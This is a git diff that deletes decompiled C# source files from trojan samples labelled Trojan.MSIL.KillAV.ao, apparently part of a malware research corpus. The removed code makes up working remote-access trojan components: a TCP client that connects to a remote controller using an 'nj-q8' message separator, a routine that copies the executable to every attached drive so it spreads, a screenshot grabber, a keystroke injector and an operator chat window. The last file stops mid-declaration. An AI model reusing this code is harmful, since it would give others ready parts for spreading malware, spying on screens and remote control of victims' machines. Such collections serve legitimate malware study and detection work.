a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs deleted file mode 100644 index 2f9cc0d1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs +++ /dev/null @@ -1,325 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.SocketsClient -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class SocketsClient - { - private static string response = string.Empty; - private static int port; - private static IPHostEntry ipHostInfo; - private static IPAddress ipAddress; - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - public static Thread TH; - - public SocketsClient() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) - { - MyProject.MyForms forms = MyProject.Forms; - Form b = (Form) forms.B; - n.Delegates.T.T.appendText(ref b, ref D); - forms.B = (B) b; - } - - public event SocketsClient.onConnectEventHandler onConnect; - - public event SocketsClient.onErrorEventHandler onError; - - public event SocketsClient.onDataArrivalEventHandler onDataArrival; - - public event SocketsClient.onDisconnectEventHandler onDisconnect; - - public event SocketsClient.onSendCompleteEventHandler onSendComplete; - - public void Connect(string RemoteHostName, int RemotePort) - { - try - { - SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - SocketsClient.port = RemotePort; - SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName); - SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0]; - IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port); - SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void SendData(byte[] Data) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Data, 0, Data.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Disconnect() - { - try - { - SocketsClient.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - SocketsClient.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string Data) => Encoding.Default.GetBytes(Data); - - public string BTS(byte[] Data) => Encoding.Default.GetString(Data); - - private void sockConnected(IAsyncResult ar) - { - try - { - if (!SocketsClient.client.Connected) - { - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent == null) - return; - onDisconnectEvent(); - } - else - { - SocketsClient.client.ReceiveBufferSize = 99999; - SocketsClient.client.ReceiveTimeout = -1; - SocketsClient.client.SendTimeout = -1; - SocketsClient.onConnectEventHandler onConnectEvent; - while (true) - { - do - { - Thread.Sleep(1); - if (SocketsClient.TH == null) - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - if (SocketsClient.TH.ThreadState == ThreadState.Aborted | SocketsClient.TH.ThreadState == ThreadState.Unstarted | SocketsClient.TH.ThreadState == ThreadState.Stopped) - { - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - SocketsClient.TH.Start(); - onConnectEvent = this.onConnectEvent; - if (onConnectEvent == null) - goto label_15; - else - goto label_11; - } - } - while (SocketsClient.TH.ThreadState != ThreadState.Running); - SocketsClient.TH.Abort(); - } -label_15: - return; -label_11: - onConnectEvent(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public Array fx(ref byte[] buf) - { - Array[] arrayArray = new Array[2]; - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = checked (buf.Length - Right.Length); - int count = 0; - Array array; - while (count <= num) - { - bytes[0] = buf[count]; - bytes[1] = buf[checked (count + 1)]; - bytes[2] = buf[checked (count + 2)]; - bytes[3] = buf[checked (count + 3)]; - bytes[4] = buf[checked (count + 4)]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream2.Write(buf, 0, count); - if (checked (count + 5) != buf.Length) - { - memoryStream3.Write(buf, checked (count + 5), checked (buf.Length - count + 5)); - array = (Array) new object[2] - { - (object) memoryStream2.ToArray(), - (object) memoryStream3.ToArray() - }; - break; - } - array = (Array) new object[1] - { - (object) memoryStream2.ToArray() - }; - break; - } - checked { ++count; } - } - return array; - } - - public void DDD() - { - MemoryStream memoryStream = new MemoryStream(); -label_1: - int num; - checked { ++num; } - Thread.Sleep(5); - try - { - if (num > 200) - { - try - { - if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0) - { - MyProject.Forms.B.Dis(); - return; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.B.Dis(); - ProjectData.ClearProjectError(); - return; - } - num = 0; - } - if (SocketsClient.client.Available > 0) - { - byte[] buffer = new byte[checked (SocketsClient.client.Available - 1 + 1)]; - SocketsClient.client.Receive(buffer, buffer.Length, SocketFlags.None); - memoryStream.Write(buffer, 0, buffer.Length); - while (true) - { - if (Strings.InStr(this.BTS(memoryStream.ToArray()), "nj-q8") > 0) - { - byte[] array = memoryStream.ToArray(); - Array Instance = this.fx(ref array); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null))); - memoryStream = new MemoryStream(); - if (Instance.Length == 2) - memoryStream.Write((byte[]) NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), 0, Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), (System.Type) null, "length", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null))); - else - goto label_1; - } - else - goto label_1; - } - } - else - goto label_1; - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - MyProject.Forms.B.Dis(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - public void EFE(byte[] B) - { - SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent; - if (dataArrivalEvent == null) - return; - dataArrivalEvent(B, checked (B.Length - 1)); - } - - public bool Connected() - { - bool flag; - try - { - flag = SocketsClient.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void onConnectEventHandler(); - - public delegate void onErrorEventHandler(string Description); - - public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes); - - public delegate void onDisconnectEventHandler(); - - public delegate void onSendCompleteEventHandler(int DataSize); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs deleted file mode 100644 index 5f12ae55..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.USB -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class USB - { - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - File.Copy(Application.ExecutablePath, driveInfo.Name + S, true); - File.SetAttributes(driveInfo.Name + S, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs deleted file mode 100644 index b119a72f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs +++ /dev/null @@ -1,317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.chat -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class chat : Form - { - private IContainer components; - [AccessedThroughProperty("T2")] - private TextBox _T2; - [AccessedThroughProperty("B1")] - private Button _B1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("T1")] - private RichTextBox _T1; - public static bool clos; - public string nick; - - public chat() - { - this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged); - this.SizeChanged += new EventHandler(this.chat_SizeChanged); - this.Load += new EventHandler(this.chat_Load); - this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing); - this.Resize += new EventHandler(this.chat_Resize); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.T2 = new TextBox(); - this.B1 = new Button(); - this.Timer1 = new Timer(this.components); - this.T1 = new RichTextBox(); - this.SuspendLayout(); - this.T2.BackColor = SystemColors.WindowText; - this.T2.ForeColor = SystemColors.InactiveCaption; - TextBox t2_1 = this.T2; - Point point1 = new Point(12, 364); - Point point2 = point1; - t2_1.Location = point2; - this.T2.Name = "T2"; - TextBox t2_2 = this.T2; - Size size1 = new Size(450, 20); - Size size2 = size1; - t2_2.Size = size2; - this.T2.TabIndex = 2; - this.B1.FlatStyle = FlatStyle.Flat; - Button b1_1 = this.B1; - point1 = new Point(468, 364); - Point point3 = point1; - b1_1.Location = point3; - this.B1.Name = "B1"; - Button b1_2 = this.B1; - size1 = new Size(133, 23); - Size size3 = size1; - b1_2.Size = size3; - this.B1.TabIndex = 3; - this.B1.Text = "Send"; - this.B1.UseVisualStyleBackColor = true; - this.Timer1.Enabled = true; - this.T1.BackColor = SystemColors.WindowText; - this.T1.ForeColor = SystemColors.InactiveCaption; - RichTextBox t1_1 = this.T1; - point1 = new Point(12, 12); - Point point4 = point1; - t1_1.Location = point4; - this.T1.Name = "T1"; - this.T1.ReadOnly = true; - RichTextBox t1_2 = this.T1; - size1 = new Size(450, 346); - Size size4 = size1; - t1_2.Size = size4; - this.T1.TabIndex = 4; - this.T1.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.InactiveCaptionText; - size1 = new Size(476, 227); - this.ClientSize = size1; - this.Controls.Add((Control) this.T1); - this.Controls.Add((Control) this.B1); - this.Controls.Add((Control) this.T2); - this.Name = nameof (chat); - this.ShowIcon = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (chat); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox T2 - { - get => this._T2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T2_TextChanged); - KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress); - if (this._T2 != null) - { - this._T2.TextChanged -= eventHandler; - this._T2.KeyPress -= pressEventHandler; - } - this._T2 = value; - if (this._T2 == null) - return; - this._T2.TextChanged += eventHandler; - this._T2.KeyPress += pressEventHandler; - } - } - - internal virtual Button B1 - { - get => this._B1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.B1_Click); - if (this._B1 != null) - this._B1.Click -= eventHandler; - this._B1 = value; - if (this._B1 == null) - return; - this._B1.Click += eventHandler; - } - } - - internal virtual Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual RichTextBox T1 - { - get => this._T1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T1_TextChanged); - if (this._T1 != null) - this._T1.TextChanged -= eventHandler; - this._T1 = value; - if (this._T1 == null) - return; - this._T1.TextChanged += eventHandler; - } - } - - private void chat_FormClosing(object sender, FormClosingEventArgs e) - { - if (chat.clos) - return; - e.Cancel = true; - } - - private void chat_Resize(object sender, EventArgs e) => this.fx(); - - private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx(); - - public void fx() - { - try - { - this.T1.Width = checked (this.Width - 40); - this.T2.Width = checked (this.B1.Left - 20); - this.T2.Top = checked (this.Height - this.T2.Height - 50); - this.T1.Height = checked (this.T2.Top - 20); - this.B1.Left = checked (this.T1.Width - this.B1.Width + 12); - this.B1.Top = checked (this.T2.Top - 3); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_KeyPress(object sender, KeyPressEventArgs e) - { - if (Strings.Asc(e.KeyChar) != 13) - return; - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void chat_SizeChanged(object sender, EventArgs e) => this.fx(); - - private void chat_Load(object sender, EventArgs e) - { - try - { - B b = MyProject.Forms.B; - string str = "#20"; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.TopMost = true; - this.Show(); - } - - private void B1_Click(object sender, EventArgs e) - { - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_TextChanged(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!chat.clos) - return; - this.Close(); - } - - private void T1_TextChanged(object sender, EventArgs e) - { - try - { - this.T1.SelectionStart = checked (this.T1.Text.Length - 1); - this.T1.ScrollToCaret(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs deleted file mode 100644 index 0fe0dd78..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.keyboard -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class keyboard - { - public static void click(int i, Keys key) - { - keyboard.INPUT pInputs = new keyboard.INPUT(); - keyboard.KEYBDINPUT keybdinput = new keyboard.KEYBDINPUT(); - pInputs.dwType = keyboard.InputType.Keyboard; - pInputs.ki = keybdinput; - pInputs.ki.wVk = Convert.ToInt16((int) key); - pInputs.ki.wScan = (short) 0; - pInputs.ki.time = 0; - pInputs.ki.dwFlags = (keyboard.KEYEVENTF) i; - pInputs.ki.dwExtraInfo = IntPtr.Zero; - int cbSize = Marshal.SizeOf(typeof (keyboard.INPUT)); - if (keyboard.SendInput(1, ref pInputs, cbSize) != 0) - ; - } - - [DllImport("user32.dll", SetLastError = true)] - internal static extern int SendInput(int cInputs, ref keyboard.INPUT pInputs, int cbSize); - - [StructLayout(LayoutKind.Explicit, Size = 28, Pack = 1)] - internal struct INPUT - { - [FieldOffset(0)] - public keyboard.InputType dwType; - [FieldOffset(4)] - public keyboard.KEYBDINPUT ki; - [FieldOffset(4)] - public keyboard.HARDWAREINPUT hi; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct KEYBDINPUT - { - public short wVk; - public short wScan; - public keyboard.KEYEVENTF dwFlags; - public int time; - public IntPtr dwExtraInfo; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct HARDWAREINPUT - { - public int uMsg; - public short wParamL; - public short wParamH; - } - - internal enum InputType - { - Mouse, - Keyboard, - Hardware, - } - - [Flags] - internal enum KEYEVENTF - { - EXTENDEDKEY = 1, - KEYUP = 2, - UNICODE = 4, - SCANCODE = 8, - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs deleted file mode 100644 index 5ab1e8bf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs +++ /dev/null @@ -1,185 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.sc -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class sc - { - public static string HW = ""; - private static bool _0; - private static int H; - private static int W; - private static int HH; - private static int WW; - - public static string HWD() - { - if (sc.HW.Length > 0) - return sc.HW; - try - { - byte[] hwd = n.My.Resources.Resources.HWD; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(hwd, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "n.C"; - ref string local3 = ref str1; - string str2 = nameof (HWD); - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - sc.HW = Conversions.ToString(C.inv(ref local2, ref local3, ref local4, ref local5)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - sc.HW = "Er"; - ProjectData.ClearProjectError(); - } - return sc.HW; - } - - public static byte[] gc(ref int Q) - { - if (!sc._0) - { - sc._0 = true; - sc.H = MyProject.Computer.Screen.Bounds.Height; - sc.W = MyProject.Computer.Screen.Bounds.Width; - } - int num; - switch (Q) - { - case 0: - num = 30; - sc.HH = 1; - sc.WW = 1; - break; - case 1: - num = 25; - sc.HH = 1; - sc.WW = 1; - break; - case 2: - num = 20; - sc.HH = 1; - sc.WW = 1; - break; - case 3: - num = 65; - sc.HH = 2; - sc.WW = 2; - break; - case 4: - num = 50; - sc.HH = 2; - sc.WW = 2; - break; - case 5: - num = 70; - sc.HH = 3; - sc.WW = 3; - break; - case 6: - num = 40; - sc.HH = 3; - sc.WW = 3; - break; - case 7: - num = 50; - sc.HH = 4; - sc.WW = 4; - break; - case 8: - num = 50; - sc.HH = 5; - sc.WW = 5; - break; - case 9: - num = 50; - sc.HH = 6; - sc.WW = 6; - break; - case 10: - num = 50; - sc.HH = 9; - sc.WW = 9; - break; - } - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - sc.Gd(checked ((int) Math.Round(unchecked ((double) sc.W / (double) sc.WW))), checked ((int) Math.Round(unchecked ((double) sc.H / (double) sc.HH)))).Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - public static ImageCodecInfo GetEncoderInfo(string M) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int length = imageEncoders.Length; - int index = 0; - while (index <= length) - { - if (Operators.CompareString(imageEncoders[index].MimeType, M, false) == 0) - return imageEncoders[index]; - checked { ++index; } - } - return (ImageCodecInfo) null; - } - - public static Image Gd(int Wi = 0, int He = 0, bool Sh = true) - { - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap); - Graphics graphics2 = graphics1; - Size size1; - ref Size local1 = ref size1; - int width = Screen.PrimaryScreen.Bounds.Width; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - int height = bounds.Height; - local1 = new Size(width, height); - Size blockRegionSize = size1; - graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy); - if (Sh) - { - try - { - Cursor cursor = Cursors.Default; - Graphics g = graphics1; - ref Rectangle local2 = ref bounds; - Point position = Cursor.Position; - size1 = new Size(32, 32); - Size size2 = size1; - local2 = new Rectangle(position, size2); - Rectangle targetRect = bounds; - cursor.Draw(g, targetRect); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - graphics1.Dispose(); - if (Wi == 0 & He == 0) - return (Image) bitmap; - Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap.Dispose(); - return thumbnailImage; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs deleted file mode 100644 index e6ae72df..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs deleted file mode 100644 index b072158d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyApplication -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace nv.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class 